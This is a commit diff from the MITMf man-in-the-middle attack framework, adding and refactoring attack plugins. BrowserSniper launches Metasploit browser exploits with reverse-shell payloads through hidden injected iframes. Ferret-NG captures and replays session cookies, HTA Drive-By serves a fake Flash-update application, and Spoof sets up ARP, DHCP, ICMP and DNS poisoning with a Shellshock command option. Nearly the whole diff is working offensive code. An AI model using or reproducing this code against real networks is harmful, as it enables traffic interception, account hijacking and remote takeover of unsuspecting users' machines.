mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-08-14 02:37:06 -07:00
This commit refactors ARP and DHCP poisoning:
DHCP poisoning now works on Windows, additionaly it's been optimized for performance improvements ARP poisoning has been optimized with and internal cache and some algo improvements cve-details-parser.py has been added to the utils/ directory to help adding exploits to the BrowserSniper config file I'm currently working on adding to the filepwn plugin all of the missing options that bdfproxy stand-alone has
This commit is contained in:
parent
5e2f30fb89
commit
ba14ed8687
35 changed files with 1082 additions and 676 deletions
|
@ -55,7 +55,7 @@ class AppCachePlugin(Plugin):
|
|||
if regexp and not re.search(regexp,req_headers["user-agent"]):
|
||||
self.clientlog.info("Tampering disabled in this useragent ({})".format(req_headers["user-agent"]), extra=request.clientInfo)
|
||||
return {'response': response, 'request': request, 'data': data}
|
||||
|
||||
|
||||
urls = self.urlMonitor.getRedirectionSet(url)
|
||||
self.clientlog.debug("Got redirection set: {}".format(urls), extra=request.clientInfo)
|
||||
(name,s,element,url) = self.getSectionForUrls(urls)
|
||||
|
|
|
@ -38,6 +38,7 @@ class BrowserProfiler(Inject, Plugin):
|
|||
if (request.command == 'POST') and ('clientprfl' in request.uri):
|
||||
request.handle_post_output = True
|
||||
self.output = json.loads(request.postData)
|
||||
self.output['ip'] = request.client.getClientIP()
|
||||
pretty_output = pformat(self.output)
|
||||
self.clientlog.info("Got profile:\n{}".format(pretty_output), extra=request.clientInfo)
|
||||
|
||||
|
|
179
plugins/browsersniper.py
Normal file
179
plugins/browsersniper.py
Normal file
|
@ -0,0 +1,179 @@
|
|||
#!/usr/bin/env python2.7
|
||||
|
||||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
|
||||
import string
|
||||
import random
|
||||
import threading
|
||||
from time import sleep
|
||||
from plugins.plugin import Plugin
|
||||
from plugins.browserprofiler import BrowserProfiler
|
||||
|
||||
class BrowserSniper(BrowserProfiler, Plugin):
|
||||
name = "BrowserSniper"
|
||||
optname = "browsersniper"
|
||||
desc = "Performs drive-by attacks on clients with out-of-date browser plugins"
|
||||
version = "0.4"
|
||||
has_opts = False
|
||||
|
||||
def initialize(self, options):
|
||||
self.options = options
|
||||
self.msfip = options.ip
|
||||
self.sploited_ips = [] #store ip of pwned or not vulnerable clients so we don't re-exploit
|
||||
|
||||
#Initialize the BrowserProfiler plugin
|
||||
BrowserProfiler.initialize(self, options)
|
||||
|
||||
from core.msfrpc import Msf
|
||||
self.msf = Msf()
|
||||
self.tree_info.append("Connected to Metasploit v{}".format(self.msf.version))
|
||||
|
||||
t = threading.Thread(name='sniper', target=self.snipe)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
def _setupExploit(self, exploit, msfport):
|
||||
|
||||
self.log.debug('Setting up {}'.format(exploit))
|
||||
rand_url = "/" + ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, 5))
|
||||
rand_port = random.randint(1000, 65535)
|
||||
|
||||
#generate the command string to send to the virtual console
|
||||
cmd = "use exploit/{}\n".format(exploit)
|
||||
cmd += "set SRVPORT {}\n".format(msfport)
|
||||
cmd += "set URIPATH {}\n".format(rand_url)
|
||||
cmd += "set PAYLOAD generic/shell_reverse_tcp\n"
|
||||
cmd += "set LHOST {}\n".format(self.msfip)
|
||||
cmd += "set LPORT {}\n".format(rand_port)
|
||||
cmd += "set ExitOnSession False\n"
|
||||
cmd += "exploit -j\n"
|
||||
|
||||
self.msf.sendcommand(cmd)
|
||||
|
||||
return rand_url
|
||||
|
||||
def _compat_system(self, os_config, brw_config, os, browser):
|
||||
|
||||
if (os_config == 'any') and (brw_config == 'any'):
|
||||
return True
|
||||
|
||||
if (os_config == 'any') and (brw_config in browser):
|
||||
return True
|
||||
|
||||
if (os_config in os) and (brw_config == 'any'):
|
||||
return True
|
||||
|
||||
if (os_config in os) and (brw_config in browser):
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
def getExploits(self):
|
||||
exploits = []
|
||||
vic_ip = self.output['ip']
|
||||
os = self.output['ua_name']
|
||||
browser = self.output['os_name']
|
||||
java = None
|
||||
flash = None
|
||||
|
||||
if self.output['java'] is not None:
|
||||
java = self.output['java']
|
||||
|
||||
if self.output['flash'] is not None:
|
||||
flash = self.output['flash']
|
||||
|
||||
self.log.info("{} => OS: {} | Browser: {} | Java: {} | Flash: {}".format(vic_ip, os, browser, java, flash))
|
||||
|
||||
for exploit, details in self.config['BrowserSniper']['exploits'].iteritems():
|
||||
|
||||
if self._compat_system(details['OS'].lower(), details['Browser'].lower(), os.lower(), browser.lower()):
|
||||
|
||||
if details['Type'].lower() == 'browservuln':
|
||||
exploits.append(exploit)
|
||||
|
||||
elif details['Type'].lower() == 'pluginvuln':
|
||||
|
||||
if details['Plugin'].lower() == 'java':
|
||||
if (java is not None) and (java in details['PluginVersions']):
|
||||
exploits.append(exploit)
|
||||
|
||||
elif details['Plugin'].lower() == 'flash':
|
||||
|
||||
if (flash is not None) and (flash in details['PluginVersions']):
|
||||
exploits.append(exploit)
|
||||
|
||||
self.log.info("{} => Compatible exploits: {}".format(vic_ip, exploits))
|
||||
return exploits
|
||||
|
||||
def injectAndPoll(self, ip, url): #here we inject an iframe to trigger the exploit and check for resulting sessions
|
||||
|
||||
#inject iframe
|
||||
self.log.info("{} => Now injecting iframe to trigger exploits".format(ip))
|
||||
self.html_url = url
|
||||
|
||||
#The following will poll Metasploit every 2 seconds for new sessions for a maximum of 60 seconds
|
||||
#Will also make sure the shell actually came from the box that we targeted
|
||||
self.log.info('{} => Waiting for ze shellz, sit back and relax...'.format(ip))
|
||||
|
||||
poll_n = 1
|
||||
while poll_n != 30:
|
||||
|
||||
if self.msf.sessionsfrompeer(ip):
|
||||
self.log.info("{} => Client haz been 0wn3d! Enjoy!".format(ip))
|
||||
self.sploited_ips.append(ip)
|
||||
self.black_ips = self.sploited_ips #Add to inject plugin blacklist since box has been popped
|
||||
self.html_url = None
|
||||
return
|
||||
|
||||
poll_n += 1
|
||||
sleep(2)
|
||||
|
||||
self.log.info("{} => Session not established after 60 seconds".format(ip))
|
||||
self.html_url = None
|
||||
|
||||
def snipe(self):
|
||||
while True:
|
||||
if self.output:
|
||||
vic_ip = self.output['ip']
|
||||
|
||||
if vic_ip not in self.sploited_ips:
|
||||
msfport = self.config['BrowserSniper']['msfport']
|
||||
exploits = self.getExploits()
|
||||
|
||||
if not exploits:
|
||||
self.log.info('{} => Client not vulnerable to any exploits, adding to blacklist'.format(vic_ip))
|
||||
self.sploited_ips.append(vic_ip)
|
||||
self.black_ips = self.sploited_ips
|
||||
|
||||
elif exploits and (vic_ip not in self.sploited_ips):
|
||||
self.log.info("{} => Client vulnerable to {} exploits".format(vic_ip, len(exploits)))
|
||||
|
||||
for exploit in exploits:
|
||||
|
||||
jobs = self.msf.findjobs(exploit)
|
||||
if jobs:
|
||||
self.log.info('{} => {} already started'.format(vic_ip, exploit))
|
||||
url = self.msf.jobinfo(jobs[0])['uripath'] #get the url assigned to the exploit
|
||||
else:
|
||||
url = self._setupExploit(exploit, msfport)
|
||||
|
||||
iframe_url = 'http://{}:{}{}'.format(self.msfip, msfport, url)
|
||||
self.injectAndPoll(vic_ip, iframe_url)
|
||||
|
||||
sleep(1)
|
|
@ -26,75 +26,75 @@ from twisted.web import http
|
|||
from twisted.internet import reactor
|
||||
|
||||
class FerretNG(Plugin):
|
||||
name = "Ferret-NG"
|
||||
optname = "ferretng"
|
||||
desc = "Captures cookies and starts a proxy that will feed them to connected clients"
|
||||
version = "0.1"
|
||||
has_opts = True
|
||||
name = "Ferret-NG"
|
||||
optname = "ferretng"
|
||||
desc = "Captures cookies and starts a proxy that will feed them to connected clients"
|
||||
version = "0.1"
|
||||
has_opts = True
|
||||
|
||||
def initialize(self, options):
|
||||
self.options = options
|
||||
self.ferret_port = options.ferret_port
|
||||
self.cookie_file = None
|
||||
def initialize(self, options):
|
||||
self.options = options
|
||||
self.ferret_port = options.ferret_port
|
||||
self.cookie_file = None
|
||||
|
||||
from core.ferretng.FerretProxy import FerretProxy
|
||||
from core.ferretng.URLMonitor import URLMonitor
|
||||
from core.ferretng.FerretProxy import FerretProxy
|
||||
from core.ferretng.URLMonitor import URLMonitor
|
||||
|
||||
URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client']
|
||||
URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client']
|
||||
|
||||
from core.utils import shutdown
|
||||
if options.cookie_file:
|
||||
self.tree_info.append('Loading cookies from log file')
|
||||
try:
|
||||
with open(options.cookie_file, 'r') as cookie_file:
|
||||
self.cookie_file = json.dumps(cookie_file.read())
|
||||
URLMonitor.getInstance().cookies = self.cookie_file
|
||||
cookie_file.close()
|
||||
except Exception as e:
|
||||
shutdown("[-] Error loading cookie log file: {}".format(e))
|
||||
from core.utils import shutdown
|
||||
if options.cookie_file:
|
||||
self.tree_info.append('Loading cookies from log file')
|
||||
try:
|
||||
with open(options.cookie_file, 'r') as cookie_file:
|
||||
self.cookie_file = json.dumps(cookie_file.read())
|
||||
URLMonitor.getInstance().cookies = self.cookie_file
|
||||
cookie_file.close()
|
||||
except Exception as e:
|
||||
shutdown("[-] Error loading cookie log file: {}".format(e))
|
||||
|
||||
self.tree_info.append("Listening on port {}".format(self.ferret_port))
|
||||
self.tree_info.append("Listening on port {}".format(self.ferret_port))
|
||||
|
||||
def on_config_change(self):
|
||||
self.log.info("Will now hijack captured sessions from {}".format(self.config['Ferret-NG']['Client']))
|
||||
URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client']
|
||||
def on_config_change(self):
|
||||
self.log.info("Will now hijack captured sessions from {}".format(self.config['Ferret-NG']['Client']))
|
||||
URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client']
|
||||
|
||||
def request(self, request):
|
||||
if 'cookie' in request.headers:
|
||||
host = request.headers['host']
|
||||
cookie = request.headers['cookie']
|
||||
client = request.client.getClientIP()
|
||||
def request(self, request):
|
||||
if 'cookie' in request.headers:
|
||||
host = request.headers['host']
|
||||
cookie = request.headers['cookie']
|
||||
client = request.client.getClientIP()
|
||||
|
||||
if client not in URLMonitor.getInstance().cookies:
|
||||
URLMonitor.getInstance().cookies[client] = []
|
||||
if client not in URLMonitor.getInstance().cookies:
|
||||
URLMonitor.getInstance().cookies[client] = []
|
||||
|
||||
for entry in URLMonitor.getInstance().cookies[client]:
|
||||
if host == entry['host']:
|
||||
self.clientlog.debug("Updating captured session for {}".format(host), extra=request.clientInfo)
|
||||
entry['host'] = host
|
||||
entry['cookie'] = cookie
|
||||
return
|
||||
for entry in URLMonitor.getInstance().cookies[client]:
|
||||
if host == entry['host']:
|
||||
self.clientlog.debug("Updating captured session for {}".format(host), extra=request.clientInfo)
|
||||
entry['host'] = host
|
||||
entry['cookie'] = cookie
|
||||
return
|
||||
|
||||
self.clientlog.info("Host: {} Captured cookie: {}".format(host, cookie), extra=request.clientInfo)
|
||||
URLMonitor.getInstance().cookies[client].append({'host': host, 'cookie': cookie})
|
||||
self.clientlog.info("Host: {} Captured cookie: {}".format(host, cookie), extra=request.clientInfo)
|
||||
URLMonitor.getInstance().cookies[client].append({'host': host, 'cookie': cookie})
|
||||
|
||||
def reactor(self, StrippingProxy):
|
||||
FerretFactory = http.HTTPFactory(timeout=10)
|
||||
FerretFactory.protocol = FerretProxy
|
||||
reactor.listenTCP(self.ferret_port, FerretFactory)
|
||||
def reactor(self, StrippingProxy):
|
||||
FerretFactory = http.HTTPFactory(timeout=10)
|
||||
FerretFactory.protocol = FerretProxy
|
||||
reactor.listenTCP(self.ferret_port, FerretFactory)
|
||||
|
||||
def options(self, options):
|
||||
options.add_argument('--port', dest='ferret_port', metavar='PORT', default=10010, type=int, help='Port to start Ferret-NG proxy on (default 10010)')
|
||||
options.add_argument('--load-cookies', dest='cookie_file', metavar='FILE', type=str, help='Load cookies from a log file')
|
||||
def options(self, options):
|
||||
options.add_argument('--port', dest='ferret_port', metavar='PORT', default=10010, type=int, help='Port to start Ferret-NG proxy on (default 10010)')
|
||||
options.add_argument('--load-cookies', dest='cookie_file', metavar='FILE', type=str, help='Load cookies from a log file')
|
||||
|
||||
def on_shutdown(self):
|
||||
if not URLMonitor.getInstance().cookies:
|
||||
return
|
||||
def on_shutdown(self):
|
||||
if not URLMonitor.getInstance().cookies:
|
||||
return
|
||||
|
||||
if self.cookie_file == URLMonitor.getInstance().cookies:
|
||||
return
|
||||
|
||||
self.log.info("Writing cookies to log file")
|
||||
with open('./logs/ferret-ng/cookies-{}.log'.format(datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")), 'w') as cookie_file:
|
||||
cookie_file.write(str(URLMonitor.getInstance().cookies))
|
||||
cookie_file.close()
|
||||
if self.cookie_file == URLMonitor.getInstance().cookies:
|
||||
return
|
||||
|
||||
self.log.info("Writing cookies to log file")
|
||||
with open('./logs/ferret-ng/cookies-{}.log'.format(datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")), 'w') as cookie_file:
|
||||
cookie_file.write(str(URLMonitor.getInstance().cookies))
|
||||
cookie_file.close()
|
||||
|
|
|
@ -111,21 +111,17 @@ class FilePwn(Plugin):
|
|||
|
||||
#NOT USED NOW
|
||||
self.supportedBins = ('MZ', '7f454c46'.decode('hex'))
|
||||
|
||||
|
||||
#FilePwn options
|
||||
self.userConfig = self.config['FilePwn']
|
||||
self.FileSizeMax = self.userConfig['targets']['ALL']['FileSizeMax']
|
||||
self.WindowsIntelx86 = self.userConfig['targets']['ALL']['WindowsIntelx86']
|
||||
self.WindowsIntelx64 = self.userConfig['targets']['ALL']['WindowsIntelx64']
|
||||
self.WindowsType = self.userConfig['targets']['ALL']['WindowsType']
|
||||
self.LinuxIntelx86 = self.userConfig['targets']['ALL']['LinuxIntelx86']
|
||||
self.LinuxIntelx64 = self.userConfig['targets']['ALL']['LinuxIntelx64']
|
||||
self.LinuxType = self.userConfig['targets']['ALL']['LinuxType']
|
||||
self.MachoIntelx86 = self.userConfig['targets']['ALL']['MachoIntelx86']
|
||||
self.MachoIntelx64 = self.userConfig['targets']['ALL']['MachoIntelx64']
|
||||
self.FatPriority = self.userConfig['targets']['ALL']['FatPriority']
|
||||
self.zipblacklist = self.userConfig['ZIP']['blacklist']
|
||||
self.tarblacklist = self.userConfig['TAR']['blacklist']
|
||||
self.userConfig = self.config['FilePwn']
|
||||
self.hostblacklist = self.userConfig['hosts']['blacklist']
|
||||
self.hostwhitelist = self.userConfig['hosts']['whitelist']
|
||||
self.keysblacklist = self.userConfig['keywords']['blacklist']
|
||||
self.keyswhitelist = self.userConfig['keywords']['whitelist']
|
||||
self.zipblacklist = self.userConfig['ZIP']['blacklist']
|
||||
self.tarblacklist = self.userConfig['TAR']['blacklist']
|
||||
self.parse_target_config(self.userConfig['targets']['ALL'])
|
||||
|
||||
|
||||
self.tree_info.append("Connected to Metasploit v{}".format(self.msf.version))
|
||||
|
||||
|
@ -570,12 +566,40 @@ class FilePwn(Plugin):
|
|||
else:
|
||||
self.patched.put(tempZipFile)
|
||||
return
|
||||
|
||||
def parse_target_config(self, targetConfig):
|
||||
for key, value in targetConfig.iteritems():
|
||||
if hasattr(self, key) is False:
|
||||
setattr(self, key, value)
|
||||
self.log.debug("Settings Config {}: {}".format(key, value))
|
||||
|
||||
elif getattr(self, key, value) != value:
|
||||
|
||||
if value == "None":
|
||||
continue
|
||||
|
||||
#test if string can be easily converted to dict
|
||||
if ':' in str(value):
|
||||
for tmpkey, tmpvalue in dict(value).iteritems():
|
||||
getattr(self, key, value)[tmpkey] = tmpvalue
|
||||
self.log.debug("Updating Config {}: {}".format(tmpkey, tmpvalue))
|
||||
|
||||
else:
|
||||
setattr(self, key, value)
|
||||
self.log.debug("Updating Config {}: {}".format(key, value))
|
||||
|
||||
def response(self, response, request, data):
|
||||
|
||||
content_header = response.headers['Content-Type']
|
||||
client_ip = response.getClientIP()
|
||||
|
||||
for target in self.userConfig['targets'].keys():
|
||||
if target == 'ALL':
|
||||
self.parse_target_config(self.userConfig['targets']['ALL'])
|
||||
|
||||
if target in request.headers['host']:
|
||||
self.parse_target_config(self.userConfig['targets'][target])
|
||||
|
||||
if content_header in self.zipMimeTypes:
|
||||
|
||||
if self.bytes_have_format(data, 'zip'):
|
||||
|
|
|
@ -21,36 +21,36 @@ import flask
|
|||
|
||||
from plugins.plugin import Plugin
|
||||
from plugins.inject import Inject
|
||||
from core.servers.http.HTTPserver import HTTPserver
|
||||
|
||||
class HTADriveBy(Inject, Plugin):
|
||||
name = 'HTA Drive-By'
|
||||
desc = 'Performs HTA drive-by attacks on clients'
|
||||
optname = 'hta'
|
||||
ver = '0.1'
|
||||
name = 'HTA Drive-By'
|
||||
desc = 'Performs HTA drive-by attacks on clients'
|
||||
optname = 'hta'
|
||||
ver = '0.1'
|
||||
|
||||
def initialize(self, options):
|
||||
self.bar_text = options.text
|
||||
self.ip = options.ip
|
||||
Inject.initialize(self, options)
|
||||
self.html_payload = self.get_payload()
|
||||
def initialize(self, options):
|
||||
self.bar_text = options.text
|
||||
self.ip = options.ip
|
||||
Inject.initialize(self, options)
|
||||
self.html_payload = self.get_payload()
|
||||
|
||||
server = HTTPserver().server
|
||||
from core.servers.http.HTTPserver import HTTPserver
|
||||
def hta_request(path):
|
||||
if path == options.hta_app.split('/')[-1]:
|
||||
with open(options.hta_app) as hta_file:
|
||||
resp = flask.Response(hta_file.read())
|
||||
|
||||
@server.route('/<hta_req>')
|
||||
def client_request(hta_req):
|
||||
if hta_req == "Flash.hta":
|
||||
with open('./config/hta_driveby/Flash.hta') as hta_file:
|
||||
resp = flask.Response(hta_file.read())
|
||||
resp.headers['Content-Type'] = "application/hta"
|
||||
return resp
|
||||
|
||||
resp.headers['Content-Type'] = "application/hta"
|
||||
return resp
|
||||
HTTPserver().add_endpoint(hta_request)
|
||||
|
||||
def get_payload(self):
|
||||
with open("./core/html/htadriveby.html", 'r') as file:
|
||||
payload = re.sub("_TEXT_GOES_HERE_", self.bar_text, file.read())
|
||||
payload = re.sub("_IP_GOES_HERE_", self.ip, payload)
|
||||
return payload
|
||||
def get_payload(self):
|
||||
with open("./core/html/htadriveby.html", 'r') as file:
|
||||
payload = re.sub("_TEXT_GOES_HERE_", self.bar_text, file.read())
|
||||
payload = re.sub("_IP_GOES_HERE_", self.ip, payload)
|
||||
return payload
|
||||
|
||||
def options(self, options):
|
||||
options.add_argument('--text', type=str, default='The Adobe Flash Player plug-in was blocked because it is out of date.', help="Text to display on notification bar")
|
||||
def options(self, options):
|
||||
options.add_argument('--text', type=str, default='The Adobe Flash Player plug-in was blocked because it is out of date.', help="Text to display on notification bar")
|
||||
options.add_argument('--hta-app', type=str, default='./config/hta_driveby/Flash.hta', help='Path to HTA application [defaults to config/hta_driveby/Flash.hta]')
|
||||
|
|
|
@ -65,7 +65,7 @@ class Inject(Plugin):
|
|||
if self.html_url:
|
||||
iframe = html.new_tag("iframe", src=self.html_url, frameborder=0, height=0, width=0)
|
||||
html.body.append(iframe)
|
||||
self.clientlog.info("Injected HTML Iframe: {}".format(hn))
|
||||
self.clientlog.info("Injected HTML Iframe: {}".format(hn), extra=request.clientInfo)
|
||||
|
||||
if self.html_payload:
|
||||
payload = BeautifulSoup(self.html_payload, "html.parser")
|
||||
|
|
|
@ -26,28 +26,28 @@ import re
|
|||
from plugins.plugin import Plugin
|
||||
|
||||
class Replace(Plugin):
|
||||
name = "Replace"
|
||||
optname = "replace"
|
||||
desc = "Replace arbitrary content in HTML content"
|
||||
version = "0.2"
|
||||
name = "Replace"
|
||||
optname = "replace"
|
||||
desc = "Replace arbitrary content in HTML content"
|
||||
version = "0.2"
|
||||
|
||||
def initialize(self, options):
|
||||
self.options = options
|
||||
def initialize(self, options):
|
||||
self.options = options
|
||||
|
||||
def response(self, response, request, data):
|
||||
mime = response.headers['Content-Type']
|
||||
hn = response.getRequestHostname()
|
||||
def response(self, response, request, data):
|
||||
mime = response.headers['Content-Type']
|
||||
hn = response.getRequestHostname()
|
||||
|
||||
if "text/html" in mime:
|
||||
if "text/html" in mime:
|
||||
|
||||
for rulename, regexs in self.config['Replace'].iteritems():
|
||||
for regex1,regex2 in regexs.iteritems():
|
||||
if re.search(regex1, data):
|
||||
try:
|
||||
data = re.sub(regex1, regex2, data)
|
||||
for rulename, regexs in self.config['Replace'].iteritems():
|
||||
for regex1,regex2 in regexs.iteritems():
|
||||
if re.search(regex1, data):
|
||||
try:
|
||||
data = re.sub(regex1, regex2, data)
|
||||
|
||||
self.clientlog.info("occurances matching '{}' replaced with '{}' according to rule '{}'".format(regex1, regex2, rulename), extra=request.clientInfo)
|
||||
except Exception:
|
||||
self.log.error("Your provided regex ({}) or replace value ({}) is empty or invalid. Please debug your provided regex(es) in rule '{}'".format(regex1, regex2, rulename))
|
||||
self.clientlog.info("occurances matching '{}' replaced with '{}' according to rule '{}'".format(regex1, regex2, rulename), extra=request.clientInfo)
|
||||
except Exception:
|
||||
self.log.error("Your provided regex ({}) or replace value ({}) is empty or invalid. Please debug your provided regex(es) in rule '{}'".format(regex1, regex2, rulename))
|
||||
|
||||
return {'response': response, 'request': request, 'data': data}
|
||||
return {'response': response, 'request': request, 'data': data}
|
||||
|
|
|
@ -17,6 +17,7 @@
|
|||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
import flask
|
||||
|
||||
from plugins.plugin import Plugin
|
||||
from twisted.internet import reactor
|
||||
|
@ -53,13 +54,8 @@ class Responder(Plugin):
|
|||
|
||||
if options.wpad:
|
||||
from core.servers.http.HTTPserver import HTTPserver
|
||||
import flask
|
||||
|
||||
server = HTTPserver().server
|
||||
|
||||
@server.route('/<wpad_req>')
|
||||
def wpad(wpad_req):
|
||||
if (wpad_req == 'wpad.dat') or (wpad_req.endswith('.pac')):
|
||||
def wpad_request(path):
|
||||
if (path == 'wpad.dat') or (path.endswith('.pac')):
|
||||
payload = self.config['Responder']['WPADScript']
|
||||
|
||||
resp = flask.Response(payload)
|
||||
|
@ -70,6 +66,8 @@ class Responder(Plugin):
|
|||
|
||||
return resp
|
||||
|
||||
HTTPserver().add_endpoint(wpad_request)
|
||||
|
||||
if self.config["Responder"]["MSSQL"].lower() == "on":
|
||||
from core.responder.mssql.MSSQLserver import MSSQLserver
|
||||
MSSQLserver().start(smbChal)
|
||||
|
|
|
@ -27,33 +27,33 @@ from plugins.plugin import Plugin
|
|||
from plugins.inject import Inject
|
||||
|
||||
class ScreenShotter(Inject, Plugin):
|
||||
name = 'ScreenShotter'
|
||||
optname = 'screen'
|
||||
desc = 'Uses HTML5 Canvas to render an accurate screenshot of a clients browser'
|
||||
ver = '0.1'
|
||||
name = 'ScreenShotter'
|
||||
optname = 'screen'
|
||||
desc = 'Uses HTML5 Canvas to render an accurate screenshot of a clients browser'
|
||||
ver = '0.1'
|
||||
|
||||
def initialize(self, options):
|
||||
Inject.initialize(self, options)
|
||||
self.js_payload = self.get_payload()
|
||||
self.interval = options.interval
|
||||
def initialize(self, options):
|
||||
Inject.initialize(self, options)
|
||||
self.js_payload = self.get_payload()
|
||||
self.interval = options.interval
|
||||
|
||||
def request(self, request):
|
||||
if 'saveshot' in request.uri:
|
||||
request.handle_post_output = True
|
||||
def request(self, request):
|
||||
if 'saveshot' in request.uri:
|
||||
request.handle_post_output = True
|
||||
|
||||
client = request.client.getClientIP()
|
||||
img_file = '{}-{}-{}.png'.format(client, request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s"))
|
||||
try:
|
||||
with open('./logs/' + img_file, 'wb') as img:
|
||||
img.write(base64.b64decode(urllib.unquote(request.postData).decode('utf8').split(',')[1]))
|
||||
img.close()
|
||||
client = request.client.getClientIP()
|
||||
img_file = '{}-{}-{}.png'.format(client, request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s"))
|
||||
try:
|
||||
with open('./logs/' + img_file, 'wb') as img:
|
||||
img.write(base64.b64decode(urllib.unquote(request.postData).decode('utf8').split(',')[1]))
|
||||
img.close()
|
||||
|
||||
self.clientlog.info('Saved screenshot to {}'.format(img_file), extra=request.clientInfo)
|
||||
except Exception as e:
|
||||
self.clientlog.error('Error saving screenshot: {}'.format(e), extra=request.clientInfo)
|
||||
self.clientlog.info('Saved screenshot to {}'.format(img_file), extra=request.clientInfo)
|
||||
except Exception as e:
|
||||
self.clientlog.error('Error saving screenshot: {}'.format(e), extra=request.clientInfo)
|
||||
|
||||
def get_payload(self):
|
||||
return re.sub("SECONDS_GO_HERE", str(self.interval*1000), open("./core/javascript/screenshot.js", "rb").read())
|
||||
def get_payload(self):
|
||||
return re.sub("SECONDS_GO_HERE", str(self.interval*1000), open("./core/javascript/screenshot.js", "rb").read())
|
||||
|
||||
def options(self, options):
|
||||
options.add_argument("--interval", dest="interval", type=int, metavar="SECONDS", default=10, help="Interval at which screenshots will be taken (default 10 seconds)")
|
||||
def options(self, options):
|
||||
options.add_argument("--interval", dest="interval", type=int, metavar="SECONDS", default=10, help="Interval at which screenshots will be taken (default 10 seconds)")
|
||||
|
|
115
plugins/spoof.py
Normal file
115
plugins/spoof.py
Normal file
|
@ -0,0 +1,115 @@
|
|||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
|
||||
from plugins.plugin import Plugin
|
||||
|
||||
class Spoof(Plugin):
|
||||
name = "Spoof"
|
||||
optname = "spoof"
|
||||
desc = "Redirect/Modify traffic using ICMP, ARP, DHCP or DNS"
|
||||
version = "0.6"
|
||||
has_opts = True
|
||||
|
||||
def initialize(self, options):
|
||||
'''Called if plugin is enabled, passed the options namespace'''
|
||||
self.options = options
|
||||
self.manualiptables = options.manualiptables
|
||||
self.protocol_instances = []
|
||||
|
||||
from core.utils import iptables, shutdown, set_ip_forwarding
|
||||
#Makes scapy more verbose
|
||||
debug = False
|
||||
|
||||
if options.arp:
|
||||
if not options.gateway:
|
||||
shutdown("[Spoof] --arp argument requires --gateway")
|
||||
|
||||
from core.poisoners.arp.ARPpoisoner import ARPpoisoner
|
||||
arp = ARPpoisoner(options)
|
||||
arp.debug = debug
|
||||
self.tree_info.append('ARP spoofing enabled')
|
||||
self.protocol_instances.append(arp)
|
||||
|
||||
elif options.dhcp:
|
||||
from core.poisoners.dhcp.DHCPpoisoner import DHCPpoisoner
|
||||
|
||||
if options.targets:
|
||||
shutdown("[Spoof] --targets argument invalid when DCHP spoofing")
|
||||
|
||||
dhcp = DHCPpoisoner(options, self.config['Spoof']['DHCP'])
|
||||
dhcp.debug = debug
|
||||
self.tree_info.append('DHCP spoofing enabled')
|
||||
self.protocol_instances.append(dhcp)
|
||||
|
||||
elif options.icmp:
|
||||
from core.poisoners.icmp.ICMPpoisoner import ICMPpoisoner
|
||||
|
||||
if not options.gateway:
|
||||
shutdown("[Spoof] --icmp argument requires --gateway")
|
||||
|
||||
if not options.targets:
|
||||
shutdown("[Spoof] --icmp argument requires --targets")
|
||||
|
||||
icmp = ICMPpoisoner(options)
|
||||
icmp.debug = debug
|
||||
self.tree_info.append('ICMP spoofing enabled')
|
||||
self.protocol_instances.append(icmp)
|
||||
|
||||
if options.dns:
|
||||
from core.servers.dns.DNSchef import DNSChef
|
||||
|
||||
self.tree_info.append('DNS spoofing enabled')
|
||||
if not options.manualiptables:
|
||||
if iptables().dns is False:
|
||||
iptables().DNS(self.config['MITMf']['DNS']['port'])
|
||||
|
||||
if not options.arp and not options.icmp and not options.dhcp and not options.dns:
|
||||
shutdown("[Spoof] Spoof plugin requires --arp, --icmp, --dhcp or --dns")
|
||||
|
||||
set_ip_forwarding(1)
|
||||
|
||||
if not options.manualiptables:
|
||||
if iptables().http is False:
|
||||
iptables().HTTP(options.listen_port)
|
||||
|
||||
for protocol in self.protocol_instances:
|
||||
protocol.start()
|
||||
|
||||
def options(self, options):
|
||||
group = options.add_mutually_exclusive_group(required=False)
|
||||
group.add_argument('--arp', dest='arp', action='store_true', help='Redirect traffic using ARP spoofing')
|
||||
group.add_argument('--icmp', dest='icmp', action='store_true', help='Redirect traffic using ICMP redirects')
|
||||
group.add_argument('--dhcp', dest='dhcp', action='store_true', help='Redirect traffic using DHCP offers')
|
||||
options.add_argument('--dns', dest='dns', action='store_true', help='Proxy/Modify DNS queries')
|
||||
options.add_argument('--shellshock', type=str, metavar='PAYLOAD', dest='shellshock', help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command')
|
||||
